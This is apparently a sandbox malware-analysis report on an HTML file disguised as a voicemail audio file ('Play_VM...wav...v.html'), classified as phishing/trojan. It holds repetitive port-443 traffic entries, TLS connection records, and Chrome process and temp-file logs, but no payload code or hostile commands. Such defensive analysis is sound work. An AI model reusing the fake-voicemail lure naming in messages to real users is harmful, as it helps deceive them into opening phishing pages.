Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60642
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60640
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 60642 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60640 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.6:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.6:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50025 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:60640 version: TLS 1.2

System Summary

HTML document with suspicious name

Source: Name includes: Play_VM.Now.matt.sibilo_Audio.wav...v.html

Initial sample: play

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6936_1722743065	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6936_1722743065\sets.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6936_1722743065\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6936_1722743065\LICENSE	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6936_1722743065\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6936_1722743065\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6936_1722743065\manifest.fingerprint	Jump to behavior

Source: classification engine

Classification label: mal92.phis.troj.winHTML@27/25@18/12

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Play_VM.Now.matt.sibilo_Audio.wav...v.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1980,i,11981216364011319537,7936369433392745602,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1980,i,11981216364011319537,7936369433392745602,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
